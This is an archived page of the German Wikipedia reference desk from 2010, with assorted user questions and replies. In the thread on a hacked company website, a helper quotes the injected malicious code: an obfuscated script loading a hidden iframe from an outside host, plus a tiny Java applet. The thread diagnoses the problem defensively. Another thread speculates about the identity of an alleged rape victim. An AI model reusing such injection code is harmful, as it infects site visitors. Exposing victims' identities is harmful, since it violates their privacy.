Ich bin sehr gespannt darauf, ob WWWurm noch weiter darauf bestehen wird, seine Antworten seien, von der Verwechslung Catilinas mit Caligula abgesehen, richtig und hilfreich für den Fragesteller Rolz-reus. Vor allem bedarf es natürlich eines Beleges für die abenteuerliche Behauptung, "bspw. Cicero" habe über die Form der italienischen Halbinsel besser Bescheid gewusst als ein Jahrhundert später der berühmte Naturforscher Plinius. Und was sollen die bei Caliga abgebildeten "Gesundheits-/Trekkingsandalen" mit der Stiefelform der italienischen Halbinsel zu tun haben? Aber nach meinen bisherigen Erfahrungen mit WWWurm sollte ich wohl lieber nicht mit einer sachlichen Antwort rechnen. Viel bequemer als seriöse Beweisführung ist es doch, Zweifel und Kritik einfach als "Unterstellungen ad personam" abzutun und den, der unbelegte Behauptungen nicht blind glauben will, zum Dummkopf zu erklären. --Vsop 01:51, 28. Mär. 2010 (CET)

Fontane-Zitat gesucht

Theodor Fontane hat einst folgendes geschrieben: "Kirchen von innen, Kneipen von aussen" (sinngemäß, unvollständig). Wie heißt das Zitat vollständig und richtig? Bei Wikiqoute steht's nicht.

Danke!--217.228.86.145 11:56, 27. Mär. 2010 (CET)

"Berge von unten, Kirchen von aussen, Kneipen von innen!" --Logo 12:03, 27. Mär. 2010 (CET)
Das sind ja supertolle, rundum überzeugende Belege! Eine private Website und ein Artikel in der WAZ ohne Angabe einer Primärquelle. Fontane kann sich selbst ja auch nicht mehr dagegen wehren, zum banausischen Saufaus gemacht zu werden. Gelten die Wikipedia-Standards für diese Auskunft nicht? --Vsop 15:21, 27. Mär. 2010 (CET)
Ob das wirklich von Fontane ist? „Berge von unten, Kirchen von außen, Kneipen von innen“ — das ist der Wahlspruch der modernen Wanderer in Land und Stadt, und jede Abweichung von der ausgetretenen Heerstraße wäre Übermut und Extravaganz. So denkt sogar der gründliche Deutsche ... schrieb Westermanns Monatsheft 1886 (hier). Das Wort „Fontane“ kommt in diesem Suchergebnis zumindest nicht vor. Allerdings hat er anscheinend bei den Monatsheften mitgeschrieben; leider kann man über Google nicht den ganzen Artikel lesen. --83.228.128.41 16:28, 27. Mär. 2010 (CET)

Frage zur Photosynthese

Hallo,

Die Reaktionen der Photosynthese sind mir soweit klar, habe mir den Artikel mal durchgelesen. Trotzdem stellt sich mir folgeden Frage: Wenn eine Pflanzen 3 Wochen alleine in einer Wohnung steht (für Bewässerung ist gesorgt), dann ist ja auch niemand da, der Kohlendioxid produziert (Fenster sind zu)..... stört das die Pflanze, wenn sie für 3 Wochen keinen Nachschub an CO2 bekommt?

Grüße --Einer aus Finthen 13:32, 27. Mär. 2010 (CET)

Stand im Artikel nicht, dass Pflanzen atmen?--92.78.88.146 13:36, 27. Mär. 2010 (CET)
(BK) Nachts atmen deine Pflanzen und erzeugen Kohlendioxid. Bakterien, Blattläuse, Spinnen usw. in deiner Wohnung atmen auch. Und deine Türen und Fenster schließen wohl kaum hermetisch. Grüße, der Sperber d! 13:41, 27. Mär. 2010 (CET)
Die Atmung ist ein wichtiger physiologischer Vorgang bei der Photosynthese. Dabei wird Kohlenstoffdioxid abgegeben. Letztlich wird aber mehr CO2 verbraucht als abgegeben. Das spielt aber in einer Wohnung, die meist nicht vollkommen luftdicht ist, über den Zeitraum von 3 Wochen, bei ein paar Topfpflanzen keine Rolle. Für Gewächshäuser mit sehr vielen schnell wachsenden Pflanzen und für Aquarienpflanzen, wo in dem relativ kleinen Behälter wegen der schlechten Löslichkeit in Wasser nicht immer genug CO2 zur Verfügung steht, gibt es aber durchaus die Kohlenstoffdioxid-Düngung. Die Frage ist also nicht ganz unberechtigt. --Regiomontanus (Diskussion) 13:52, 27. Mär. 2010 (CET)
BK Tata, tata, tata. Die Frage ist, wieviel Pflanzen, wie groß Deine Wohnung ist und wie dicht Deine Fenster sind. Da findet sicher ein Luftaustausch statt. (Ggf. Türen innen offen und Toilettenfenster geklappt lassen.) Ausserdem ist heute der CO2 Wert in der Luft höher als vor paar 10-Jahren, da ist sicher Fresschen genug für die paar Primelchen. Helau und Narhallamarsch.--91.56.197.155 13:53, 27. Mär. 2010 (CET)
Danke für die Antworten. Das mit der Atmung stand drinnen. Ich hatte vor allem die Sorge, das es nicht genug CO2 ist. Es handelt sich um insgesamt 4 Pflanzen. Die Wohnung hat knapp 20 Quadratmeter. Die Fenster sind eher alt. Das Haus ist von ca 1972 und ich glaube, es sind noch die originalen Fenster......... die einzig Luftzufuhr ist quasi dann der Lüftungschacht im Bad (eine Fenster im Bad gibt es nicht) und die Wohnungstür (...die nicht wirklich dicht ist. Sollte wohl reichen..... --Einer aus Finthen 14:02, 27. Mär. 2010 (CET)
Reicht. Rainer Z ... 15:39, 27. Mär. 2010 (CET)
Danke für die Info. Ein oder zweit Mal je Woche kommt auch ne bekannte von mir zum Gießen vorbei. Ich sage ihr dann, das sie halt besonders intensiv ausatmen soll ;-) --Einer aus Finthen 15:57, 27. Mär. 2010 (CET)
Wenn die Bekannte auch noch ordentlich lüftet, kann das auch schaden, denn sonst kommen die "Pflänzchen", die nicht Photosynthese betreiben, wie Schimmel und andere Pilze :). Diese werden aber heute nicht mehr wie früher zu den Pflanzen gezählt. Sie brauchen aber die Feuchtigkeit, die durch Ausatmen und Schwitzen (beim Gießen) verstärkt werden kann.--Regiomontanus (Diskussion) 16:28, 27. Mär. 2010 (CET)
Ja, und dann soll die Bekannte Deinen Pflänzchen auch gut zusprechen, dass Herrchen/ Frauchen ganz fest an sie denkt und bald wiederkommt.--91.56.197.155 16:44, 27. Mär. 2010 (CET)
Off topic @ 91.56.etc: Du hast nun in letzter Zeit oft genug deiner Ansicht Ausdruck verliehen, dass Du viele der Auskunftsuchenden hier in der Wikipedia-Auskunft für Idioten hälst. In Anbetracht der Tatsache, dass ich vor deiner Signatur noch niemals irgendeine hilfreiche Antwort zu irgendeiner nicht-idiotischen Frage gesehen habe, möchte ich Dir nahelegen mal über das Sprichwort mit den Steinen und dem Glashaus nachzudenken. Ansonsten beginne ich mich zu fragen, was eigentlich dein Ansinnen ist. Möchtest Du möglichst viele "Dumme" hier vergraulen, damit sie auch schön dumm bleiben, oder was? Mit unfreundlichen Gruß Ugha-ugha 18:13, 27. Mär. 2010 (CET)
Off topic answer: Die Auskunft hat wegen Niveaulosigkeit einen Löschantrag hinter sich und ich bin sicher, dass die Gegener schon wieder die Messer wetzen. Da fragt einer wegen Erstickung seiner Blumen, obwohl er weiss, dass jemand 1-2 Mal in der Woche zum Giessen kommt. Sowas ist doch Trollerei. Oder der Unfug, den ein Mister aus Österreich von sich gibt, der laufend von den Administratoren ermahnt werden muß. Seit etwa 14 Tage sinkt das Niveau und die Ernsthaftigkeit der Fragen rapide. Und darauf muß man wohl hinweisen dürfen.--91.56.197.155 18:46, 27. Mär. 2010 (CET)
Du hattest ja über 14 Tage die Möglichkeit gehabt dich bei WIKI anzumelden, dann hättest du auch dein Recht auf Artikelentfernung betreffs Trollerei wahrgenommen haben können. ;-´)--92.78.88.146 19:55, 27. Mär. 2010 (CET)

Doom 3 Multiplayer

Hallo nochmals!! Und zwar hab ich heute neulich in einem Lokal ein Internetcafe entdeckt und mit dem Chef gesprochen ob ich Doom 3 auf alle Computer raufinstallieren kann und er ist einverstanden damit. Nun hab ich eine Frage. Im Internetcafe werden ja überwiegend Multiplayergames gezockt und wenn ich Doom 3 auf jedem Computer installiere, kann man es auch im Internetcafe mit anderen Spielern online zocken oder braucht Doom 3 für jeden PC einen eigenen CD-Key? Ich wollte da noch einwerfen dass Doom 3 auch ohne Datenträge spielbar ist. 188.23.34.11 15:12, 27. Mär. 2010 (CET)

Lieber Gott bitte, bitte, Du weisst was ich in einem andern Beitrag dieses Herrn geschrieben habe, was mir aber gelöscht wurde. Werf das da vom Himmel.--91.56.197.155 15:24, 27. Mär. 2010 (CET)

Wie bitte?? Sorry, hab die Antwort nicht verstanden. Ich muss das bitte wissen wie das mit dem Multiplayermodus von Doom 3 abläuft. 188.23.34.11 15:36, 27. Mär. 2010 (CET)

Hast du Lizenzen von Doom 3 für alle Rechner erworben? Dann hast du auch für alle einen separaten Key. Obwohl ich auch daran zweifle das man Consumer-Fassungen von Spielen einfach auf Rechnern installieren darf um dann damit Geld zu verdienen (ebend durch die Nutzungsgebühren des Computers in einem Internetcafe). --Mps 17:43, 27. Mär. 2010 (CET)
*blam* *blamblam* Ein guter Tag. Wieder einen Ebend-Sager vom Erdboden getilgt. --92.202.48.125 23:29, 27. Mär. 2010 (CET)

Eurovision Song Contest - Was war früher anders?

Oder anders gefragt: Seit wann wurde der Deutsche Schlager, oder überhaupt der Deutsche Gesang vom internationalen Zeitgeist abgelöst? Und 2. zur aktuellen Situation: Warum wurde der jetzige Darsteller nicht von Bohlen & Co. entdeckt?--92.78.88.146 20:19, 27. Mär. 2010 (CET)

Naja, da der deutsche Schlager nicht jährlich abgeräumt hat, hat sich da wahrscheinlich nicht soo viel getan. Abgesehen davon, Zeiten ändern sich. Der französische Schlager ist auch nicht mehr so erfolgreich wie in der "guten alten Zeit" des Grand Prix. Dazu kommt, dass es heute deutlich mehr Ländern sind und Aserbaidschan und Co ganz objektiv eher anders geprägt sind als auf deutschen Schlager. Zu Teil 2: Weil das andere Welten sind. DSDS ist eher RTL-Schicksalsreportage als Castin-/Musiksendung. USFO war da deutlich anders gelagert, was sich meiner ganz ganz persönlichen Meinung nach in einem deutlichst höheren Niveau niederschlug. Grüße -- Julius1990 Disk. 20:22, 27. Mär. 2010 (CET)
Aha, aber zu hoch darf das Niveau auch wieder nicht sein. Rezipienten sind höchstwahrscheinlich überwiegend nicht intelektuell.--92.78.88.146 20:28, 27. Mär. 2010 (CET)
Ja, ja, der Intelekt. --Catfisheye 20:37, 27. Mär. 2010 (CET)

"Du konntest eine Information in Wikipedia nicht finden?" → Deutschland beim Eurovision Song Contest --83.77.199.208 20:59, 27. Mär. 2010 (CET)

Er hatte sicher Deutschand beim Eurovision Song Contest eingegeben. Knws. --Catfisheye 21:02, 27. Mär. 2010 (CET)

Schafhaltung - welche fremdländischen schneckentragenden Rassen möglich?

Hallo, habe mich gestern schon mal bezüglich dem Jagdrecht unterliegende Wildschafe erkundigt. Mein Anliegen: Gibt es einen Katalog fremdländischer horntragender Schafrassen, die in Deutschland zur Haltung zugelassen sind (bspw. Dickhornschaf, weiß nicht ob dies zugelassen ist. Würde daraus nur ableiten wollen, dass fremde Rassen dann nicht dem deutschen Jagdrecht unterliegen und wie normales Nutzvieh gehalten werden dürfen.--KunzSN 22:58, 27. Mär. 2010 (CET)

Seltsame Fehlermeldung beim Aufruf von unserer Website

Beim Aufruf unserer geschäftlichen Website kommt neuerdings eine Fehlermeldung dass die "Anwendung "Java Player"" ein ungültiges Zertifikat hat. Wir haben aber an der Website nichts geändert. Kann bitte jemand helfen und einen Hinweis geben was das Problem sein könnte? FreddyE 11:38, 26. Mär. 2010 (CET)

Das ganze ist etwas merkwürdig. Beim Aufruf von http://www.egger-donau.de/ lädt mein Browser http://www.egger-donau.de/index.html. Dort befinden sich mehrere Dinge: Einerseits wird über ein Javascript ein etwas kryptischer Code zur Einbindung eines Iframes geladen (eingebunden wird http://forskarskolan.se/media/dir/index.php), andererseits wird ein Java-Applet geladen, das unter http://www.egger-donau.de/javaplayer.jar zu erreichen ist. Schließlich wird auf http://www.egger-donau.de/index.php umgeleitet, wo sich die eigentliche Webseite befindet.
Der genaue Code sieht so aus:
<Script Language='Javascript'>
<!--
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%6F%72%73%6B%61%72%73%6B%6F%6C%61:%6E%2E%73%65%2F%6D%65%64%69%61%2F%64%69%72%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%22%30%22%20%68%65%69%67%68%74%3D%22%30%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%3E%3C%2F%69%66%72%61%6D%65%3E'));
//-->
</Script>
<applet width='1' height='1' code='javaplayer.class' archive='javaplayer.jar'> </applet>
<meta HTTP-EQUIV="REFRESH" content="20; url=index.php">
Ich vermute, dass euch da jemand diese merkwürdige index.html-Datei untergeschoben hat und damit irgendeinen Blödsinn bezweckt. Das Löschen der HTML-Datei sollte das Problem jedoch zumindest für's erste lösen. --ProfessorFether 12:16, 26. Mär. 2010 (CET)
(BK) Liegt an diesem Aufruf im Quelltext der zuerst aufgerufenen Seite (wahrscheinlich index.htm oder index.html):
<applet width='1' height='1' code='javaplayer.class' archive='javaplayer.jar'> </applet>
<meta HTTP-EQUIV="REFRESH" content="20; url=index.php">
Dort ist ein Java-Applet eingebunden, warum auch immer (hab das Applet nicht geladen, das dürfen andere testen). Nach 20 Sekunden wird weitergeleitet auf die index.php. Also am besten standardmäßig gleich diese php-Datei aufrufen. --тнояsтеn 12:18, 26. Mär. 2010 (CET)
Nicht nur die oben beschrieben Sache ist es, sonder mehr noch, wer keine guten Virenschutz auf seinem PC hat fängt sich noch beim öffnen der Webseite einen Trojaner ein. --Nur Leser 13:51, 26. Mär. 2010 (CET)
Desweiteren solltet ihr zunächst einige Sicherheitsmaßnahmen ergreifen. Als erstes solltet ihr die Passwörter für FTP-Zugänge zum Webspace ändern. Dann solltet ihr darauf achten, dass die aktuellste Joomla-Version installiert ist. Möglicherweise konnte der Angreifer eine Sicherheitslücke in Joomla nutzen, um die Dateien in eurem Webspace zu platzieren. Es könnte evtl. auch nicht schaden, den Webhoster zu benachrichtigen, möglicherweise haben andere Kunden ein ähnliches Problem. --Dunni 15:49, 26. Mär. 2010 (CET)
ich habe TR/Dldr.Agent.dauh drauf, was nun damit? --62.143.74.253 15:52, 26. Mär. 2010 (CET)
McAfee Stinger, F-Secure Onlinescanner --93.128.160.195 23:28, 26. Mär. 2010 (CET)
Das war bei den bisherigen Fragen hier in der Auskunft auch nicht viel anders zu erwarten. Gut dass wir nun wissen, welche Webseite definitiv nicht angewählt werden soll. Die Lösungen (sowohl für den unglücklichen Webhoster als auch für die noch unglücklicheren Webclients) sind oben schon erwähnt, dass ich darauf verzichte. --Firefly's luciferase 05:20, 28. Mär. 2010 (CEST)

mein Hund

Jetzt habe ich wieder mal eine saublöde Frage, und zwar; mein Hund -> Dogo Argentino ich liebe ihn hat eine ganz besondere Eigenart, denn wenn er mal des Nachts, wegen Verdauungsbeschwerden raus muss, dann ist es so, das er mich aufwecken kann, bei einer Freundin ist es auch so hat auch einen Dogo Und das seltsame ist, er sitzt vor dem Bett und starrt mich mit großen Augen an - es ist aber nicht so, das ich seinen Atem spüre, sondern er sitzt 1m vor meinem Bett und - ich weiß es klingt absurd, aber es ist so - und weckt mich irgendwie ?Mental? auf, Bei Eltern speziell Müttern und Ihren Kindern ist es doch auch irgendwie so, Ich hab dafür aber keine Erklärung, hat jemand eine solche?

--188.23.179.240 11:55, 26. Mär. 2010 (CET)

Kann ja sein, dass er irgendwelche Geräusche macht oder dich berührt, und du merkst das im Schlaf, aber bis du richtig wach bist, sitzt er schon ganz ruhig da und du hast den Rest nur nicht bewusst registriert. --Sr. F 12:05, 26. Mär. 2010 (CET)
klingt schlüssig, lass ich mir aber nicht genügen ;-), denn vielleicht kennt Dies jemand -> wenn man irgendwo weiß das man angestarrt oder angeblickt wird, das spürt man irgendwie, oder ist dies auch nur Einbildung? zB merkte ich letztens bei meinem Bastler am Eck - der hat sich nue eingerichtet, und ich fühlte mich dann beobachtet, und Ei-Padauz als ich raus ging war da doch tatsächlich so ein kleines Bild auf der Eingangstüre "Achtung Video-überwacht" --188.23.179.240 12:11, 26. Mär. 2010 (CET)
Wie oft fühlst Du dich in solchen Geschäften überwacht und bemerkst beim Verlassen kein entsprechendes Schild? Wie häufig wachst Du auf, ohne dass Dein Hund Dich anstarrt? Wie häufig starrt Dein Hund Dich an, ohne dass Du aufwachst? Gruss, --Cú Faoil RM-RH 22:33, 26. Mär. 2010 (CET)
Selektive Wahrnehmung? --92.192.118.121 12:19, 26. Mär. 2010 (CET)
So etwas Ähnliches vermute ich auch. Wenn zum beispiel morgens mein Wecker bimmeln soll oder jemand in meine Nähe kommt, werde ich sofort wach. Ich vermute mal, dass das Aufwachen bei Veränderungen im Ruheraum eine Art innere Schutzfunktion darstellt, die vor Angriffen o.ä. schützen soll. Scheint aber bei jedem unterschiedlich ausgeprägt zu sein.-- Nephiliskos 12:21, 26. Mär. 2010 (CET)

bin gerade über den Artikel Intuition gestolpert, selektive Wahrnehmung schließe ich mal aus--188.23.179.240 12:23, 26. Mär. 2010 (CET)

Lässt mich spontan an Rupert Sheldrake denken. Siehe en:Psychic staring effect. --Rudolph H 13:30, 26. Mär. 2010 (CET)
Die werden größtenteils als Spinner abgetan, bin gerade vor die Wikipedia-Mauer geknallt Telepathie und Parapsychologie sind die Fachbegriffe, aber weithin als Schwachsinn abgetan obwohl ich mir schon denke, das ein Gedanke ja eine Art von Energie ist (Neuronen zucken und blitzen), und damit könnte eine Schwingung in Bewegung gesetzt werden Aber was weiß man schon? Irgendwer erzählte mir von einem Marko Pogačnik der irgendwelche Beeindruckende Erdheilung-Meditationen machen soll - das tat ich damals auch als Unsinn ab --188.23.179.240 13:40, 26. Mär. 2010 (CET)
Ich dachte spontan an Der Fänger im Roggen, wo es – wie ich glaube zu erinnern – der Antagonist ist, der den kleinen Bruder auf diese Weise weckt.
Zu bedenken dürfte wohl sein, dass man ja nicht die ganze Nacht durch tief und fest schläft, es vielmehr Phasen gibt, wo der Schlaf sehr leicht ist. In einer solchen Leichtschlafphase dürfte die Anwesenheit des Hundes ausreichen (der ja auch atmet, was in der Stille der Nacht durchaus anders wahrgenommen wird als sonst).
Außerdem: Wer weiß, wie lange der Hund schon starrte und ob er nicht vorher tatsächlich Geräusche (winseln o.ä.) von sich gab (was man ja einmal überwachen könnte mittels Videoanlage :o) ) --Ian DuryHit me 13:58, 26. Mär. 2010 (CET)
+1 (D'OH! Zu lange getippt...) Hunde sind die Viecher, die es am besten gelernt haben, Menschen zu lesen - mit Abstand. Und ein Hund dieser Grösse MACHT Geräusche. Er starrt dich nicht an, er beobachtet dich genauestens - und er hat ein Bedürfnis(!). Wenn er die kleinste Regung bei dir entdeckt (Bewegung, Schnaufer etc.), wird er das kommentieren (Fiepen, Bewegung, was auch immer). Du bist durch deine Reaktion auch nicht mehr so tief im Schlaf, also wird es leichter sein, aufzuwachen. Ausserdem - wenn das zur Routine wird - erwartet dein Körper nächtliche Aktion von D.A. (= Der Aufwecker) ("Mein Hund und ich, wir verstehen uns ohne Worte!"). Auf lange Sicht stelle ich mir das - für dich - stressig vor. Immer nachts raus. Andererseits bereitet dich dein Hund damit auf die Zeit in 40 Jahren vor, wenn du dem mentalen(!) und körperlichen Sonnenuntergang entgegen schlurfen wirst... Da braucht man dann nachts keinen Hund mehr, um aufzuwachen... G! GG nil nisi bene 14:02, 26. Mär. 2010 (CET)
das wird es wohl sein, nur bilde ich mir eben ein, das mein Hund nicht winselt sondern dann einfach unruhig ist ( da werde ich das winseln wohl nicht bewusst wahrgenommen haben), aber das scheint mir auch eine Erklärung zu sein; Gott sei Dank hat er nicht so oft die Scheisserei --188.23.179.240 14:13, 26. Mär. 2010 (CET)
Schön das auch dies abschließend geklärt wurde ... Das wäre mal ein schöner Titel für einen Grenzwissenschaftlichen Aufsatz "Durchfallinduzierte Interspeziestelepathie bei Dogo Argentinos" --FNORD 14:20, 26. Mär. 2010 (CET)

Die Uni in Graz nimmt sowas auch als Doktorarbeit an.--91.56.205.52 14:32, 26. Mär. 2010 (CET)

Oder Ihr beide - Dein Hund und Du - habt gemeinsam diniert, dabei etwa die gleiche Menge derselben Gerichte verspeist und dann im Schlafe eben synchron verdaut, weshalb Ihr dann gemeinsam, höchstens um einige Minuten versetzt, aufwacht, weil Ihr beide mal den Waschraum aufzusuchen gedenkt. In dem Moment, in dem Du deinen treuen Vierbeiner dort unverwandt stehen und Dich waschraumhalber anschauen siehst, denkst Du vor allem an den Hund und an die Synchronizität des Erwachens und verspürst das leichte Drückgefühl im Unterbauche deshalb nicht sofort bewusst. BerlinerSchule 15:08, 26. Mär. 2010 (CET)
nee, so ist es ganz sicher nicht gewesen. Mein Hund erkennt sich im Spiegel, und ist auch sonst ganz helle, der weiß wann er mich belästigen kann, letztens hatte ich eine ziemliche Party hinter mir, und mein Hund gab mir die Zeit bis ich fitt war, und das hatte ganz schön lange gedauert, der lag einfach rum und schnarrchte, und stand dann mit mir auf. Aber meine Mutter die sagt immer wenn ich sie Anrufe - das war jetzt eine Gedankenübertragung, ist echt so, ich denk an wem und ... tja, deshalb war auch die Frage, ich dachte wir sind hier schon so weit, aber denkste ;-(--188.23.179.240 17:10, 26. Mär. 2010 (CET)
Dein Hund erkennt sich im Spiegel? Woran merkst Du das? Wenn Du das beweisen kannst, wär das eine wissenschaftliche Sensation – das ist nicht im Mindesten ironisch gemeint. --Cú Faoil RM-RH 22:36, 26. Mär. 2010 (CET)
Auf Grund Deiner übernatürlichen Fähigkeiten und die Deines Kampfhundes habe ich auch sofort gespürt, wer Du bist.--91.56.205.52 17:16, 26. Mär. 2010 (CET)
Punkt 1 - es gibt keine Kampfhunde, Punkt 2 - wieso sollte dies ÜBER-sinnlich sein? man kann ja auch degeneriert sein vom Fernsehen, und den Tipp bekommst du von mir Gratis, schönen Tag noch --188.23.179.240 17:36, 26. Mär. 2010 (CET)
Dass du keine Kampfhunde kennst, heißt nicht, dass es keine Kampfhunde gibt. Das ist wirklich Selektive Wahrnehmung. Es gibt sogar einen Artikel Kampfhund bei Wikipedia. Die muss es also geben. --131.173.17.161 21:31, 26. Mär. 2010 (CET) so wie Bielefeld
Nochmal Selektive Wahrnehmung :). - Aber wenn du dir sicher bist das dein Hund und deine Mutter übernatürliche Fähigkeiten besitzen, dann gehe direkt dort hin James Randi Educational Foundation und kassiere 1 Million Dollar. Das bisher noch niemand die Million mit nach Hause genommen hat sagt auch einiges über Übernatürliche Fähigkeiten aus. --FNORD 17:37, 26. Mär. 2010 (CET)
die Foundation sache kenn ich, aber um das geht es nicht, und ist mir auch ziemlich egal, denn ich kann weder ein Streichholz verbiegen noch einen Löffel zerdrücken ;-) Ich wollte lediglich wissen ob es einen Ansatz für solche Erklärungen gibt, aber da fehlt es ganz und ist alles ziemlich dubios --188.23.179.240 17:46, 26. Mär. 2010 (CET)
Dazu fehlt gar nichts. Das ist alles hinreichend erforscht. Aber wenn du daran glauben willst ist daran nichts Verkehrtes. Freue dich das du dich mit deinem Hund so gut verstehst das es an Telepathie grenzt und sei unkritisch glücklich damit. --FNORD 17:59, 26. Mär. 2010 (CET)
Fehler, ich glaub ich weiß jetzt was es ist, denn es funktioniert bei Menschen die "gut" drauf sind, dann ist man auf der selben Wellenlänge, das bedeutet; auf einem Level, da versteht man sich blind, sieht man öfters bei Pärchen, Und ganz sicher hat es etwas mit der Lieb zu tun, und eine reinen Geist, aber das interessiert hier ja sowieso keinen - und wenn zwei oder mehr in meinem Namen zusammen sind, dann bin ich mitten unter Ihnen - aber das ist halt eine andere Ebene - und deshalb bin ich natürlich der Idiot weil es andere nicht verstehen --188.23.67.185 19:16, 26. Mär. 2010 (CET)
Verstehen schon. Aber Menschen neigen nun mal zu selektiver Wahrnehmung bzw. Erinnerung, zum Verknüpfen von Wahrnehmungen als ursächlich zusammenhängend usw. Simples Beispiel: Wenn man an jemanden denkt und der ruft unmittelbar darauf an oder biegt um die Ecke, empfindet man das als etwas besonderes, behält es in Erinnerung. Man merkt sich aber nicht, wenn man an jemanden denkt und es passiert gar nix. Oder wenn jemand anruft, auch wenn man nicht kurz vorher an ihn gedacht hat. Das ist ja das normale. So z. B. kann es zu einer Selbsttäuschung kommen, die einem sehr überzeugend erscheint. Die Sache mit den Vollmondnächten ist ganz ähnlich gelagert.
Klar können sich Menschen blind verstehen, wenn sie sehr vertraut sind. Oder auch ein Mensch und ein Hund. Da werden aber vor allem unbewusst sehr subtile Signale ausgetauscht und beide wissen viel voneinander. Rainer Z ... 20:27, 26. Mär. 2010 (CET)
Dazu haben wir übrigens den Artikel Cold Reading. Gruss, --Cú Faoil RM-RH 22:39, 26. Mär. 2010 (CET)

Schon gesehen? The dog who stares at men. Vorsicht demnächst im Bett! --195.229.10.11 08:13, 28. Mär. 2010 (CEST)

"Freundin" vom Wetterfrosch

Hallo, ist es gestattet zu fragen, wer sich hinter dem besagten Vergewaltigungsopfer, bzw. der Ex-Freundin von Jörg Kachelmann verbirgt. Habe von einer Petra gehört. Weiß jemeand genaueres?--88.72.138.194 18:51, 26. Mär. 2010 (CET)

Könntest Du Deine Neugier auch zugunsten des Persönlichkeitsrechts der Betroffenen zügeln? Anka Wau! 18:55, 26. Mär. 2010 (CET)
Nur so viel: Petra stimmt wohl nicht (Anmerkung unter dem Artikel beachten). Ralf G. 18:57, 26. Mär. 2010 (CET)
Wollte ich auch gleich sagen. 88.72.138.194 muss ein Blick Leser sein. In der Bild heisst die Freundin Sabine. Sind wohl beide Namen falsch. Mit echtem Namen Heike Nocker-Bayer (48) tritt seine Ex auf und gibt auch gleich ihren Kommentar zur Geschichte. Ich nehme an dass deine Neugier damit noch nicht gestillt ist. Wir werden sehen ob der echt Name des angeblichen Opfers doch noch genannt wird. --Gustav Broennimann 19:07, 26. Mär. 2010 (CET)

Mit welcher Selbstverständlichkeit hier (und in der Presse) von "Opfer" geredet wird. Dann stehen Tat und Täter wohl auch schon fest? --93.129.75.87 19:12, 26. Mär. 2010 (CET)

War doch bei Moderator Andreas Türck seinerzeit nicht anders; endete dann allerdings mit Freispruch... --Ennimate 04:53, 28. Mär. 2010 (CEST)


Frag mal den Kachelmann oder die Staatsanwaltschaft. -jkb- 19:14, 26. Mär. 2010 (CET)

laut BILD: 37 Jahre, Radiomoderatorin aus Schwetzingen, nach eigenen Angaben führte sie eine 11-jährige Beziehung mit J K--88.72.138.194 20:02, 26. Mär. 2010 (CET)

Sag mal, wenn du die Antwort kennst, warum stellst du hier die Frage??? Und jetzt erledigt, schlage ich vor. -jkb- 20:13, 26. Mär. 2010 (CET) //war vorhin mit BK//

Die Antwort erfuhr ich erst durch Hinweise von G.B.(vielen Dank!). --88.72.138.194 20:18, 26. Mär. 2010 (CET)

Was macht Maria Hellwig um mit 90 Jahren noch so auszusehen, als sei sie 60?

Konnte es nicht glauben, bis ich es heut im Fernsehen von Florian Silbereisen erfuhr. Vor allem, dass sie in diesem Alter auch noch so gut singen kann. Dazu noch das strahlende Lächeln, die weißen Zähne (nun ja, die gute Dame ist höchstwahrscheinlich privatversichert). Trotz allem, Wow! --88.72.138.194 01:01, 27. Mär. 2010 (CET)

Das war ein AOK-Gebiss. -- Martin Vogel 01:08, 27. Mär. 2010 (CET)
Wäre es nicht eher die Frage, was Florian Silbereisen tun sollte, um mit 90 Jahren nicht so auszusehen wie Maria Hellwig mit 60? Oder andersherum gefragt: Was machte Maria Hellwig, damit sie mit 60 nicht so aussah wie Florian Silbereisen mit 90? --84.191.48.132 01:10, 27. Mär. 2010 (CET)
Dem Florian sieht man seine 90 wirklich nicht an. Nur beim Musikgeschmack wirkt er fast wie 91. BerlinerSchule 01:18, 27. Mär. 2010 (CET)
Ja genau, und was machte Johannes Heesters, um mit 60 so auszusehen wie Maria Hellwig mit 90? Und warum sieht dann Florian Silbereisen trotz AOK-Gebiß mit 107 so aus wie Maria Hellwig mit 60? Oder auch: Wenn Johannes Heesters 60 wäre, würde dann Maria Hellwig mit ihm heut ins Maxim gehen, um Florian Silbereisens AOK-Zähne zu bewundern? Und kann man mit AOK-Gebiß überhaupt Musikgeschmack schmecken? Und wie sieht das dann mit 90 aus? Das ist wirklich die Frage. --84.191.48.132 01:30, 27. Mär. 2010 (CET)
Ein Grund dürfte sein, dass sie meist neben ihrer Tochter Margot auftritt, die (mit knapp 70 Jahren) so aussieht als ob sie die ältere der beiden ist. Mit der Musik der beiden kann ich überhaupt nichts anfangen, aber alters- und konditionsmäßig kann Maria Hellwig mit >80jährigen wie B. B. King oder Chuck Berry durchaus mithalten. --78.35.82.29 10:58, 27. Mär. 2010 (CET)
Bei Marika Rökk, die Älteren unter uns werden sich erinnern, war es Hormocenta. Wofür wirbt denn diese Dame? Grüße 85.180.200.243 11:09, 27. Mär. 2010 (CET)

Ein Versuch ernst zu bleiben: Perücke, pfundweise Make-up, eine gute Ausleuchtung plus ein bisschen Übergewicht, das die Falten ein wenig besänftigt. --Catfisheye 19:41, 27. Mär. 2010 (CET)

Die - gemeinhin als "gut" bezeichnete - Landluft tut wohl ihr Übriges... --Ennimate 04:56, 28. Mär. 2010 (CEST)

Mannschaftssport

Gibt es eine Mannschaftssportart (außer z.B. Staffelläufen), bei der drei oder mehr Teams gleichzeitig gegeneinander antreten? --smial 13:02, 24. Mär. 2010 (CET)

Jede Menge (je nach Verständnis von "Mannschaft"). Spontan fallen mir z.B. Mannschaftsboote beim Kanurennsport, Rudern, Drachenboot, Bobsport ein. Auf einem Spielfeld gegeneinander wüsste ich aber uach nicht. --HyDi Sag's mir! 13:16, 24. Mär. 2010 (CET)
Bob fährt man aber möglichst nicht gleichzeitig. :o) --Eike 13:19, 24. Mär. 2010 (CET)
Cool, 3 Bobs gleichzeitig in der Bahn ;-)... Die Mounted Games, Tour de France (ist das noch Sport?), Formel 1 ... und gibt es nicht auch "Mannschaftsschiessen" wo jeweils einer von jeder Mannschaft gleichzeitig mit allen anderen in einem bestimmten Zeitintervall schiessen muss? <schwachsinn>Dann in Italien diese prestigegeladenen historischen Stadtquartier-Pferderennen, Einzelreiter!</schwachsinn>... G! GG nil nisi bene 13:26, 24. Mär. 2010 (CET)
Bowling --Schaffnerlos 13:28, 24. Mär. 2010 (CET)
